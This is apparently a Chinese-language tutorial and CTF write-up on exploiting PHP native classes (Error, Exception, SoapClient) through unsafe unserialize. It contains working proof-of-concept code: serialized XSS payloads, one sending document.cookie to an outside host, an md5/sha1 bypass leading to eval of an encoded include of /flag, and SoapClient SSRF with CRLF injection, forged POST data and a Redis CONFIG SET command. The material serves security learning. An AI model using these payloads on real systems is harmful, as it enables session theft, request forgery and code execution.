这一篇的主要内容是php中的一些原生类的原理及其利用,目前只记录了Error(Exception类与其大致相同只是php版本不同)和SoapClient这两个原生类。
php中的内置类
Error类
Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的。
类摘要:
Error implements Throwable { protected string $message ; protected int $code ; protected string $file ; protected int $line ; public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null ) final public getMessage ( ) : string final public getPrevious ( ) : Throwable final public getCode ( ) : mixed final public getFile ( ) : string final public getLine ( ) : int final public getTrace ( ) : array final public getTraceAsString ( ) : string public __toString ( ) : string final private __clone ( ) : void }
|
__toString方法
__toString
方法用于当一个类被当作字符串时该怎样回应。例如当echo一个类时,便出现了错误,但该怎样去处理这个问题呢?该方法会将错误或异常对象转换为字符串。
SoapClient类
PHP的内置类SoapClient是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的PHP客户端。
类摘要:
SoapClient { public __construct ( string|null $wsdl , array $options = [] ) public __call ( string $name , array $args ) : mixed public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null public __getCookies ( ) : array public __getFunctions ( ) : array|null public __getLastRequest ( ) : string|null public __getLastRequestHeaders ( ) : string|null public __getLastResponse ( ) : string|null public __getLastResponseHeaders ( ) : string|null public __getTypes ( ) : array|null public __setCookie ( string $name , string|null $value = null ) : void public __setLocation ( string $location = "" ) : string|null public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed }
|
__call方法
该类的__call
方法被触发后,可以发送HTTP和HTTPS请求。其构造函数如下:
public SoapClient::SoapClient(mixed $wsdl [, arry $options ])
|
- 第一个参数用来指明是否是wsdl模式,将该值设置为null则表示非wsdl模式。
- 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri是SOAP服务的目标命名空间。
使用Error/Exception类进行XSS
注意:
- 要在开启报错的前提下。
- Error只适用于php7,Exception适用于php 5或7
通常在反序列化中,如果有个POP链走到一半就走不通了,不如尝试利用Error/Exception类的__toString()方法来做一个xss。
xss演示
测试代码:
<?php $a = $_GET['Ming']; echo unserialize($a);
|
POC:
<?php $a = new Error("<script>alert('Tong')</script>"); echo urlencode(serialize($a));
'''O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A30%3A%22%3Cscript%3Ealert%28%27Tong%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A69%3A%22D%3A%5Cweb_soft_home%5Cphpstudy_pro%5CWWW%5Ceclipse_workspace%5Cfirstpro%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D'''
|
成功弹窗
[BJDCTF 2nd]xss之光
先Git泄漏,得到如下内容:
<?php $a = $_GET['yds_is_so_beautiful']; echo unserialize($a);
|
一个GET传参一个反序列化函数,可能是反序列化但是连一个类也不给,无法构造POP链啊,这时候就要想到利用php内置类来打了
不过这道题明说了是xss,有关xss的题flag一般都在Cookie中,所以可以直接document.Cookie
运行,flag就出来了。
不过这种情况很少见,还是学一个正经点的方法:利用php内置类反序列化打xss
xss的payload构造
window.open()
打开新窗口
url = 'http://ed527973-7ba3-455a-b532-de236f21b2a9.node5.buuoj.cn' <script>window.open(url+document.cookie);</script>
|
window.location.href
实现恶意跳转
<script>window.location.href=url+document.cookie;</script>
|
POC如下:
<?php $a = new Error("<script>window.open('http://ed527973-7ba3-455a-b532-de236f21b2a9.node5.buuoj.cn'+document.cookie);</script>"); echo urlencode(serialize($a));
|
然后直接访问下面的URL即可
http://ed527973-7ba3-455a-b532-de236f21b2a9.node5.buuoj.cn:81/?yds_is_so_beautiful=O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A109%3A%22%3Cscript%3Ewindow.open%28%27http%3A%2F%2Fed527973-7ba3-455a-b532-de236f21b2a9.node5.buuoj.cn%2F%3F%27%2Bdocument.cookie%29%3B%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A69%3A%22D%3A%5Cweb_soft_home%5Cphpstudy_pro%5CWWW%5Ceclipse_workspace%5Cfirstpro%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
|
使用Error/Exception类绕过哈希比较
原理分析
已知Error和Exception类的__toString
方法会将错误或异常对象转换为字符串,现在来将这个字符串输出:
<?php $a = new Error("hhh",1); echo $a;
|
输出结果:
Error: hhh in D:\web_soft_home\phpstudy_pro\WWW\eclipse_workspace\firstpro\test.php:2 Stack trace: #0 {main}
|
发现输出的字符串包含当前的错误信息内容、错误文件的绝对路径、错误所在行号,而我们设置的错误代码code
并没有被输出。
看下一个例子:
<?php $a=new Error("hhh",1);$b=new Error("hhh",2); echo $a."\n".$b;
|
输出结果:
Error: hhh in D:\web_soft_home\phpstudy_pro\WWW\eclipse_workspace\firstpro\test.php:2 Stack trace: #0 {main} Error: hhh in D:\web_soft_home\phpstudy_pro\WWW\eclipse_workspace\firstpro\test.php:2 Stack trace: #0 {main}
|
发现如果异常内容和所在行号一样,即使错误代码不一样,最后输出的报错字符串也是一样的。当然这两个错误对象本身是不一样的,只是通过__toString
方法转换成的字符串是一样的。
Exception类与Error的使用和结果完全一样,只不过Exception
类适用于PHP 5和7,而Error
只适用于PHP 7。
[极客大挑战 2020]Greatphp
源码:
<?php error_reporting(0); class SYCLOVER { public $syc; public $lover;
public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); } ?>
|
- 绕过
md5()
和sha1()
:
md5()
和sha1()
可以对一个类进行hash
并触发这个类的__toString
方法,当eval()
函数的参数是一个类对象时,也会触发这个类的__toString()
方法。
所以我们可以使用含有__toString
方法的PHP内置类来绕过,用的两个比较多的内置类就是Exception
和Error
,他们之中有一个__toString
方法,当类被当做字符串处理时,就会调用这个函数。
- 构造payload:
过滤了小括号无法调用函数,这里利用include "/flag"
将flag文件包含进来即可。由于又过滤了双引号,可以对"/flag"
利用取反绕过,因为有不可见字符所以再url
一下更好。
对于Error和Exception类的__toString方法将错误信息转换成字符串payload后,进入eval()函数会类似于:eval("...Error: payload")
。所以我们要用?>
来闭合一下,即 eval("...Error: ?><?php payload ?>")
,这样我们的payload便能顺利执行了。
$payload = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
|
POC如下:
<?php class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } $payload = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>"; $a = new SYCLOVER(); $a->syc=new Error($payload,1);$a->lover=new Error($payload,2); echo urlencode(serialize($a)); ?>
|
得到flag

使用SoapClient类进行SSRF
漏洞利用演示
构造SSRF利用的exp:
<?php $a = new SoapClient(null,array('location'=>'http://192.168.130.7:2333/', 'uri'=>'Ming')); echo serialize($a);
|
触发漏洞:
$b = unserialize('O:10:"SoapClient":4:{s:3:"uri";s:4:"Ming";s:8:"location";s:26:"http://192.168.130.7:2333/";s:15:"_stream_context";i:0;s:13:"_soap_version";i:1;}'); $b->c();
|
在192.168.130.7上面监听,然后运行上面代码,成功触发SSRF,192.168.130.7上面收到了请求信息。
结合CRLF注入利用
在User_Agent头部注入
<?php $location = "http://192.168.130.7:2333/"; $agent = "OneBrowser\r\nCookie: PHPSESSID=5799"; $uri = "Ming"; $a = new SoapClient(null,array('location'=>$location, 'user_agent'=>$agent, 'uri'=>$uri)); $b = serialize($a); unserialize($b)->c();
|

发送POST数据包
在HTTP协议中,HTTP Header 部分与 HTTP Body 部分是用两个CRLF分隔的,所以我们要发送 POST 数据就要插入两个CRLF。
对于如何发送POST的数据包,这里面还有一个坑,就是Content-Type
的设置,因为我们要提交的是POST数据,所以Content-Type的值我们要设置为application/x-www-form-urlencoded
,这里如何修改Content-Type的值呢?由于Content-Type在User-Agent
的下面,所以我们可以通过SoapClient
来设置User-Agent,将原来的Content-Type挤下去,从而再插入一个新的Content-Type。
exp如下:
$location = 'http://192.168.130.7:2333/'; $post_data = 'data=whoami'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93' ); $agent = 'WHOAMI^^Content-Type: application/x-www-form-urlencoded^^'; $user_agent = $agent.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data; $a = new SoapClient(null,array('location' => $location,'user_agent'=>$user_agent,'uri'=>'test')); $b = serialize($a); $b = str_replace('^^',"\r\n",$b); unserialize($b)->c();
|
查看监听到的数据,成功注入POST包:

与Redis结合
可以再结合通过HTTP协议去攻击Redis来利用,exp如下:
<?php $location = 'http://192.168.130.7:2333/'; $payload = "CONFIG SET dir /var/www/html"; $a = new SoapClient(null,array('location'=>$location, 'uri'=>'hello^^'.$payload.'^^hello')); $b = serialize($a); $b = str_replace('^^',"\n\r",$b); echo $b; $c = unserialize($b); $c->a();
|
参考文章:
https://xz.aliyun.com/news/8792#toc-0